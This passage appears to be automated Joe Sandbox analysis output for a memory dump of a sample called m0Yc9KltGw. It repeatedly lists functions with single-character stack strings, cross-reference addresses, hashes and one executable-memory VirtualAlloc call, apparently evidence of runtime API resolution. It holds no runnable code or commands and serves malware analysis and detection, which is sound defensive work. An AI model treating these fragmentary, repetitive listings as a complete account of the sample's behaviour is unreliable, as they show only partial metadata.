d, xrefs: 029266EB
e, xrefs: 02926056
E, xrefs: 0292601E
l, xrefs: 02926154
A, xrefs: 0292615B
s, xrefs: 0292605D
F, xrefs: 029260D5
t, xrefs: 0292613F
o, xrefs: 02926170
o, xrefs: 02926048
e, xrefs: 029260E3
r, xrefs: 029260DC
a, xrefs: 029260C7
b, xrefs: 02927ACB
y, xrefs: 02927AE7
s, xrefs: 02926064
L, xrefs: 02927ABD
l, xrefs: 02926169
V, xrefs: 0292612A
a, xrefs: 0292614D
a, xrefs: 02927AAF
i, xrefs: 02926131
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
u, xrefs: 02926146
l, xrefs: 029260CE
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
P, xrefs: 0292603A
L, xrefs: 02927AA1
a, xrefs: 029266E4
S, xrefs: 029276A6
l, xrefs: 02926162
i, xrefs: 029266F9
W, xrefs: 02927AEE
r, xrefs: 029260B2
i, xrefs: 029260AB
t, xrefs: 02926033
i, xrefs: 0292602C
i, xrefs: 02927AC4

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: A$E$F$L$L$L$L$P$S$V$V$W$W$[W$a$a$a$a$a$a$b$b$c$c$d$d$e$e$e$i$i$i$i$i$l$l$l$l$o$o$o$o$r$r$r$r$r$r$r$r$s$s$t$t$t$u$u$x$y$y
API String ID: 0-2002451845
Opcode ID: 38dff1ae8c2d2d53c5591eb9686cd7c5c85d21a4621ec7c6753db7981aa2ffdd
Instruction ID: d049ab8625e116ce85a4081235ebdfd08116d339f1c6c5ddbdafd06911673f2c
Opcode Fuzzy Hash: 38dff1ae8c2d2d53c5591eb9686cd7c5c85d21a4621ec7c6753db7981aa2ffdd
Instruction Fuzzy Hash: FE52C6A1D182A48AF721CA24DC44BEABB79EF91304F0481F9D44CA7685D67E4FC5CF62

Function 02925C16 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 727
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u, xrefs: 029260C0
W, xrefs: 02926723
o, xrefs: 029266DD
L, xrefs: 029266F2
r, xrefs: 02926707
x, xrefs: 02926025
c, xrefs: 0292604F
c, xrefs: 02926177
t, xrefs: 029260B9
e, xrefs: 029260EA
a, xrefs: 0292670E
[W, xrefs: 02926109
r, xrefs: 02926041
L, xrefs: 029266D6
V, xrefs: 029260A4
r, xrefs: 02927AE0
r, xrefs: 02926138
d, xrefs: 029266EB
e, xrefs: 02926056
E, xrefs: 0292601E
l, xrefs: 02926154
A, xrefs: 0292615B
s, xrefs: 0292605D
F, xrefs: 029260D5
t, xrefs: 0292613F
o, xrefs: 02926170
o, xrefs: 02926048
e, xrefs: 029260E3
r, xrefs: 029260DC
a, xrefs: 029260C7
b, xrefs: 02927ACB
y, xrefs: 02927AE7
s, xrefs: 02926064
L, xrefs: 02927ABD
l, xrefs: 02926169
V, xrefs: 0292612A
a, xrefs: 0292614D
a, xrefs: 02927AAF
i, xrefs: 02926131
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
u, xrefs: 02926146
l, xrefs: 029260CE
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
P, xrefs: 0292603A
L, xrefs: 02927AA1
a, xrefs: 029266E4
S, xrefs: 029276A6
l, xrefs: 02926162
i, xrefs: 029266F9
W, xrefs: 02927AEE
r, xrefs: 029260B2
i, xrefs: 029260AB
t, xrefs: 02926033
i, xrefs: 0292602C
i, xrefs: 02927AC4

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: A$E$F$L$L$L$L$P$S$V$V$W$W$[W$a$a$a$a$a$a$b$b$c$c$d$d$e$e$e$i$i$i$i$i$l$l$l$l$o$o$o$o$r$r$r$r$r$r$r$r$s$s$t$t$t$u$u$x$y$y
API String ID: 0-2002451845
Opcode ID: 4bc22e3322805561acadf19387d55b21212e7b66c78b3151f9d96d6719b9f659
Instruction ID: 18d7276ada5326199ec5b465c65509de2e02cb9d3ee4b67567631c1be8eb9f55
Opcode Fuzzy Hash: 4bc22e3322805561acadf19387d55b21212e7b66c78b3151f9d96d6719b9f659
Instruction Fuzzy Hash: 1552E7A1D182A48AF721CA24DC44BEABB79EF91304F0481F9D44CA7685D67E4FC5CF62

Function 02925A21 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 727
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u, xrefs: 029260C0
W, xrefs: 02926723
o, xrefs: 029266DD
L, xrefs: 029266F2
r, xrefs: 02926707
x, xrefs: 02926025
c, xrefs: 0292604F
c, xrefs: 02926177
t, xrefs: 029260B9
e, xrefs: 029260EA
a, xrefs: 0292670E
[W, xrefs: 02926109
r, xrefs: 02926041
L, xrefs: 029266D6
V, xrefs: 029260A4
r, xrefs: 02927AE0
r, xrefs: 02926138
d, xrefs: 029266EB
e, xrefs: 02926056
E, xrefs: 0292601E
l, xrefs: 02926154
A, xrefs: 0292615B
s, xrefs: 0292605D
F, xrefs: 029260D5
t, xrefs: 0292613F
o, xrefs: 02926170
o, xrefs: 02926048
e, xrefs: 029260E3
r, xrefs: 029260DC
a, xrefs: 029260C7
b, xrefs: 02927ACB
y, xrefs: 02927AE7
s, xrefs: 02926064
L, xrefs: 02927ABD
l, xrefs: 02926169
V, xrefs: 0292612A
a, xrefs: 0292614D
a, xrefs: 02927AAF
i, xrefs: 02926131
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
u, xrefs: 02926146
l, xrefs: 029260CE
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
P, xrefs: 0292603A
L, xrefs: 02927AA1
a, xrefs: 029266E4
S, xrefs: 029276A6
l, xrefs: 02926162
i, xrefs: 029266F9
W, xrefs: 02927AEE
r, xrefs: 029260B2
i, xrefs: 029260AB
t, xrefs: 02926033
i, xrefs: 0292602C
i, xrefs: 02927AC4

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: A$E$F$L$L$L$L$P$S$V$V$W$W$[W$a$a$a$a$a$a$b$b$c$c$d$d$e$e$e$i$i$i$i$i$l$l$l$l$o$o$o$o$r$r$r$r$r$r$r$r$s$s$t$t$t$u$u$x$y$y
API String ID: 0-2002451845
Opcode ID: 616ac1a679ac117a84ece365be3a50b9897d6d4325b405e82581b447ebcf87a2
Instruction ID: 9657fb59a4dd9ff48890ea055077c99d280af15e8ed45d92b5102886f5de7381
Opcode Fuzzy Hash: 616ac1a679ac117a84ece365be3a50b9897d6d4325b405e82581b447ebcf87a2
Instruction Fuzzy Hash: BA52E8A1D182A48AF721CA24DC44BEABB79EF91304F0480F9D44CA7685D67E4FC5CF62

Function 02925C27 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 721
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u, xrefs: 029260C0
W, xrefs: 02926723
o, xrefs: 029266DD
L, xrefs: 029266F2
r, xrefs: 02926707
x, xrefs: 02926025
c, xrefs: 0292604F
c, xrefs: 02926177
t, xrefs: 029260B9
e, xrefs: 029260EA
a, xrefs: 0292670E
[W, xrefs: 02926109
r, xrefs: 02926041
L, xrefs: 029266D6
V, xrefs: 029260A4
r, xrefs: 02927AE0
r, xrefs: 02926138
d, xrefs: 029266EB
e, xrefs: 02926056
E, xrefs: 0292601E
l, xrefs: 02926154
A, xrefs: 0292615B
s, xrefs: 0292605D
F, xrefs: 029260D5
t, xrefs: 0292613F
o, xrefs: 02926170
o, xrefs: 02926048
e, xrefs: 029260E3
r, xrefs: 029260DC
a, xrefs: 029260C7
b, xrefs: 02927ACB
y, xrefs: 02927AE7
s, xrefs: 02926064
L, xrefs: 02927ABD
l, xrefs: 02926169
V, xrefs: 0292612A
a, xrefs: 0292614D
a, xrefs: 02927AAF
i, xrefs: 02926131
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
u, xrefs: 02926146
l, xrefs: 029260CE
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
P, xrefs: 0292603A
L, xrefs: 02927AA1
a, xrefs: 029266E4
S, xrefs: 029276A6
l, xrefs: 02926162
i, xrefs: 029266F9
W, xrefs: 02927AEE
r, xrefs: 029260B2
i, xrefs: 029260AB
t, xrefs: 02926033
i, xrefs: 0292602C
i, xrefs: 02927AC4

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: A$E$F$L$L$L$L$P$S$V$V$W$W$[W$a$a$a$a$a$a$b$b$c$c$d$d$e$e$e$i$i$i$i$i$l$l$l$l$o$o$o$o$r$r$r$r$r$r$r$r$s$s$t$t$t$u$u$x$y$y
API String ID: 0-2002451845
Opcode ID: 52fd370e9416cd9ebd96abc48bb0425fb7c5b7acc313a5de1e36997f93dde7ec
Instruction ID: 9491a70b1233604e2deaa2c99dcc5d79f53f00a4163003823ff0b6bebd313340
Opcode Fuzzy Hash: 52fd370e9416cd9ebd96abc48bb0425fb7c5b7acc313a5de1e36997f93dde7ec
Instruction Fuzzy Hash: DD52E7A1D182A48AF721CA24DC44BEABB79EF91304F0481F9D44CA7685D67E4FC5CF62

Function 02925CC6 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 703
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u, xrefs: 029260C0
W, xrefs: 02926723
o, xrefs: 029266DD
L, xrefs: 029266F2
r, xrefs: 02926707
x, xrefs: 02926025
c, xrefs: 0292604F
c, xrefs: 02926177
t, xrefs: 029260B9
e, xrefs: 029260EA
a, xrefs: 0292670E
[W, xrefs: 02926109
r, xrefs: 02926041
L, xrefs: 029266D6
V, xrefs: 029260A4
r, xrefs: 02927AE0
r, xrefs: 02926138
d, xrefs: 029266EB
e, xrefs: 02926056
E, xrefs: 0292601E
l, xrefs: 02926154
A, xrefs: 0292615B
s, xrefs: 0292605D
F, xrefs: 029260D5
t, xrefs: 0292613F
o, xrefs: 02926170
o, xrefs: 02926048
e, xrefs: 029260E3
r, xrefs: 029260DC
a, xrefs: 029260C7
b, xrefs: 02927ACB
y, xrefs: 02927AE7
s, xrefs: 02926064
L, xrefs: 02927ABD
l, xrefs: 02926169
V, xrefs: 0292612A
a, xrefs: 0292614D
a, xrefs: 02927AAF
i, xrefs: 02926131
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
u, xrefs: 02926146
l, xrefs: 029260CE
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
P, xrefs: 0292603A
L, xrefs: 02927AA1
a, xrefs: 029266E4
S, xrefs: 029276A6
l, xrefs: 02926162
i, xrefs: 029266F9
W, xrefs: 02927AEE
r, xrefs: 029260B2
i, xrefs: 029260AB
t, xrefs: 02926033
i, xrefs: 0292602C
i, xrefs: 02927AC4

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: A$E$F$L$L$L$L$P$S$V$V$W$W$[W$a$a$a$a$a$a$b$b$c$c$d$d$e$e$e$i$i$i$i$i$l$l$l$l$o$o$o$o$r$r$r$r$r$r$r$r$s$s$t$t$t$u$u$x$y$y
API String ID: 0-2002451845
Opcode ID: e327ca36f441c44643adde14fc122138cb157187e31d5bc173bc09c7d14b2767
Instruction ID: 39c82b8ae8fe7c09f9d4590152defbe7385e10e76922b27453465a8b78648935
Opcode Fuzzy Hash: e327ca36f441c44643adde14fc122138cb157187e31d5bc173bc09c7d14b2767
Instruction Fuzzy Hash: 2952D8A1D182A48AF721CA24DC44BEABB79EF91304F0481F9D44CA7685D67E4FC5CF62

Function 029619B6 Relevance: 56.5, APIs: 1, Strings: 31, Instructions: 524COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
6I@6, xrefs: 0296183A
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED
HI82, xrefs: 029617F6

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$6I@6$F2=:$HI82$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-2045030226
Opcode ID: 04b3c225d15d2598a2ba00971e6e8a82b29d66233df6064145ebc1d337a52b19
Instruction ID: d4a0d279a450ff8911638313efacce6c364cc0dc6f18a584c9b198c0dafa6515
Opcode Fuzzy Hash: 04b3c225d15d2598a2ba00971e6e8a82b29d66233df6064145ebc1d337a52b19
Instruction Fuzzy Hash: AA2207B1D052A48BE720CB24DC587EA7BB5EF95310F0441FAC44D67281D67A5EC6CFA2

Function 029617E3 Relevance: 56.5, APIs: 1, Strings: 31, Instructions: 499COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
6I@6, xrefs: 0296183A
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED
HI82, xrefs: 029617F6

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$6I@6$F2=:$HI82$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-2045030226
Opcode ID: dce7da7ef0f55c8298e165c15a218728c63676c08bfa291e3ff01c29150f2276
Instruction ID: 2103fffe1a853379da3b579409311210e368e4e68e9a3f42ac0acb380f9fc47f
Opcode Fuzzy Hash: dce7da7ef0f55c8298e165c15a218728c63676c08bfa291e3ff01c29150f2276
Instruction Fuzzy Hash: 1A1228B1D092A48AE720CB24DC587EA7BB5EF91310F0441FAC44D67281D67A4FD6CFA2

Function 0296DC17 Relevance: 56.0, APIs: 1, Strings: 36, Instructions: 512memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,00003000,00000040), ref: 0296F35A

Strings

b, xrefs: 02975CC7
r, xrefs: 0296E415
r, xrefs: 02975CDC
s, xrefs: 029757F3
L, xrefs: 0296E3F2
i, xrefs: 0296E3F9
t, xrefs: 029757C2
E, xrefs: 029757AD
s, xrefs: 029757EC
a, xrefs: 02975CD5
W, xrefs: 0296E423
e, xrefs: 029757E5
x, xrefs: 029757B4
r, xrefs: 0296E407
L, xrefs: 02975C9D
d, xrefs: 02975CB2
j@h, xrefs: 0296F345
a, xrefs: 0296E3E4
o, xrefs: 029757D7
a, xrefs: 02975CAB
b, xrefs: 0296E400
P, xrefs: 029757C9
o, xrefs: 0296E3DD
i, xrefs: 02975CC0
d, xrefs: 0296E3EB
r, xrefs: 029757D0
L, xrefs: 0296E3D6
i, xrefs: 029757BB
y, xrefs: 0296E41C
c, xrefs: 029757DE
o, xrefs: 02975CA4
a, xrefs: 0296E40E
W, xrefs: 02975CEA
r, xrefs: 02975CCE
y, xrefs: 02975CE3
L, xrefs: 02975CB9

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID: E$L$L$L$L$P$W$W$a$a$a$a$b$b$c$d$d$e$i$i$i$j@h$o$o$o$r$r$r$r$r$s$s$t$x$y$y
API String ID: 4275171209-572641038
Opcode ID: 19555410c92eae7b4f59360e2c593c7c58fd660cfd34fd1e31098275a1338e3b
Instruction ID: 552fa3b961e2e50e235a39b545459134c218602d4d65801ceac1638d9d3a8645
Opcode Fuzzy Hash: 19555410c92eae7b4f59360e2c593c7c58fd660cfd34fd1e31098275a1338e3b
Instruction Fuzzy Hash: E922A0B0D082698BEB20CB24CC58BEABBB6EF85314F0480F9D44DA7681D7795AC5CF55

Function 02961803 Relevance: 54.7, APIs: 1, Strings: 30, Instructions: 489COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
6I@6, xrefs: 0296183A
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$6I@6$F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-1044622014
Opcode ID: 8ce12532de46d85089ed6e46d883c813e0101caa365115f1e62fcb78115eeea1
Instruction ID: fd48d58170245de9497efe6529a2a6018b6c66d9bb7aedeb6ea851ab40724f05
Opcode Fuzzy Hash: 8ce12532de46d85089ed6e46d883c813e0101caa365115f1e62fcb78115eeea1
Instruction Fuzzy Hash: 6D1228B1D052A48AE720CB64DC587EABBB5EF91310F0441FAC44D67281D67A4FD6CFA2

Function 0296191D Relevance: 54.7, APIs: 1, Strings: 30, Instructions: 489COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
6I@6, xrefs: 0296183A
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$6I@6$F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-1044622014
Opcode ID: 6c474c9d6309837d7c813467b8a8954442faff26ab2dd0e1c278812940fe72b7
Instruction ID: bfc017c3375aa86a34b404ed803ea53bd1403ae788b44af8284f14c122ece478
Opcode Fuzzy Hash: 6c474c9d6309837d7c813467b8a8954442faff26ab2dd0e1c278812940fe72b7
Instruction Fuzzy Hash: 361217B1D052A48AE720CB64DC587EABBB5EF91310F0441FAC44D67281D77A4ED6CFA2

Function 02961236 Relevance: 53.2, APIs: 1, Strings: 29, Instructions: 673COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-3437435223
Opcode ID: e287edb47a025dfa8513dadcb44eaabaa558f895183d370b382917b707c1d64d
Instruction ID: e8e154863e9c36c158413c78ef44961efbe953c248123be65b800b10748f5a40
Opcode Fuzzy Hash: e287edb47a025dfa8513dadcb44eaabaa558f895183d370b382917b707c1d64d
Instruction Fuzzy Hash: 7C52D1B1D056A88FEB24CB24DC58BEABBB5AF85310F0440FAC84D67281D6795EC5CF91

Function 02961858 Relevance: 53.0, APIs: 1, Strings: 29, Instructions: 464COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-3437435223
Opcode ID: bdd6c7eead58c43e009a173631e87bf8b435cacde9c8e814a3ff91392f1d260d
Instruction ID: e50285f70be7219a8a614a6f69bd4df58a07ddbac1c737a6c93b94e215757164
Opcode Fuzzy Hash: bdd6c7eead58c43e009a173631e87bf8b435cacde9c8e814a3ff91392f1d260d
Instruction Fuzzy Hash: 020218B1D092A48AE720CB64DC587EABBB5EF91310F0441FAC44D67281D67A4FD5CFA2

Function 029618D4 Relevance: 52.9, APIs: 1, Strings: 29, Instructions: 443COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-3437435223
Opcode ID: 19b6ed05bf28c5367eba6ff917ff367c779b100d6bd51da910ee435b0cfef367
Instruction ID: 7e10ecede2c2898626ef05d7306b0555679b6bb717c84eb6eff9071590a8569b
Opcode Fuzzy Hash: 19b6ed05bf28c5367eba6ff917ff367c779b100d6bd51da910ee435b0cfef367
Instruction Fuzzy Hash: F40229B1D082A48AE7208764DC587EA7FB5EF91310F0441FAC48D67281D67E4BD6CFA2

Function 029619D4 Relevance: 52.9, APIs: 1, Strings: 29, Instructions: 421COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-3437435223
Opcode ID: 96948fa9488b29b987c3077c0ae36cc61cd63f14841f2dd55fc02dbc7d1ad921
Instruction ID: 32b4b2d96b06ff66172ebf3330edd815c132ebd410c216a719f44140a9d49e41
Opcode Fuzzy Hash: 96948fa9488b29b987c3077c0ae36cc61cd63f14841f2dd55fc02dbc7d1ad921
Instruction Fuzzy Hash: EEF10671D092A48BE7208764DC587EABFB5AF91310F0440FAC84D67281D67A5FD6CFA2

Function 029619CB Relevance: 52.9, APIs: 1, Strings: 29, Instructions: 419COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
